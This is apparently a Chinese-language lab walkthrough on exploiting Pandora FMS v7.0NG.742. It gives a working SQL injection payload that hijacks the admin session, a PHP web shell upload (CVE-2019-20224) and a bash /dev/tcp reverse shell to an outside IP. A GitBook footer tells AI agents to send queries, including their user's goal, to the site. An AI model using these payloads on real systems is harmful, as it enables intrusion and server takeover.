> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/cms/pandora-cms-exploitation.md).

# Pandora

## 利用 Pandora FMS - SQL 注入

### **SQL 注入 - 管理员会话劫持**

此命令将本地 HTTP 请求转发到内部 Web 服务器。

<figure><img src="/files/fcd3bc380681e58d4d02d5c5bd7431e27073f8ff" alt=""><figcaption></figcaption></figure>

检测到的版本： **v7.0NG.742/\_FIX/\_PERL2020**.

<figure><img src="/files/df6f5b5ca5eb3b480bc3746859575eecae04b403" alt=""><figcaption></figcaption></figure>

{% embed url="<https://github.com/shyam0904a/Pandora_v7.0NG.742_exploit_unauthenticated>" %}

已知漏洞位于 `chart_generator.php` 通过 `session_id` 变量：

<figure><img src="/files/a74a20309c72c28816fc374e3f34fca9d0291194" alt=""><figcaption></figcaption></figure>

```
http://127.0.0.1/pandora_console/include/chart_generator.php?session_id=1'
```

<figure><img src="/files/4dd5f5fb6969cc3fa24a2c92e71606a4c04874e3" alt=""><figcaption></figcaption></figure>

执行 SQL 注入以劫持管理员会话：

<pre class="language-bash"><code class="lang-bash"><strong>http://127.0.0.1/pandora_console/include/chart_generator.php?session_id=%27%20union%20SELECT%201,2,%27id_usuario|s:5:%22admin%22;%27%20as%20data%20--%20SgGO
</strong></code></pre>

* 此命令返回一个管理员会话 cookie。

<figure><img src="/files/0aba0c3e4a2554a779d2bea4381d8cda485f135e" alt=""><figcaption></figcaption></figure>

使用该 cookie 以管理员身份访问仪表板。

<figure><img src="/files/91326a7dffb4ef1032cbd2b21f1434279771df1a" alt=""><figcaption></figcaption></figure>

### **远程代码执行（RCE）- /\[CVE-2019-20224]**

导航至 **文件管理器**.

<figure><img src="/files/e2b8d31586634effc20d497e6ce0d49f0746b221" alt=""><figcaption></figcaption></figure>

上传恶意 PHP 文件：

<pre class="language-php"><code class="lang-php"><strong>&#x3C;?php system($_GET['cmd']); ?>
</strong></code></pre>

* 该文件可访问于 `http://127.0.0.1/pandora_console/images/cmd.php`.

<figure><img src="/files/ad67619a4d7b7ecb64b92c0831eb4b2afaa5e04a" alt=""><figcaption></figcaption></figure>

执行反向 Shell：

* 启动本地监听器：

```bash
nc -nvlp 443
```

* 在目标服务器上执行命令：

```bash
bash -c "bash -i >%26 /dev/tcp/10.10.14.26/443 0>%261"
```

以用户身份获得访问权限 `matt`.

<figure><img src="/files/b1021b384297d6411384e0563813f4e70f187842" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/cms/pandora-cms-exploitation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
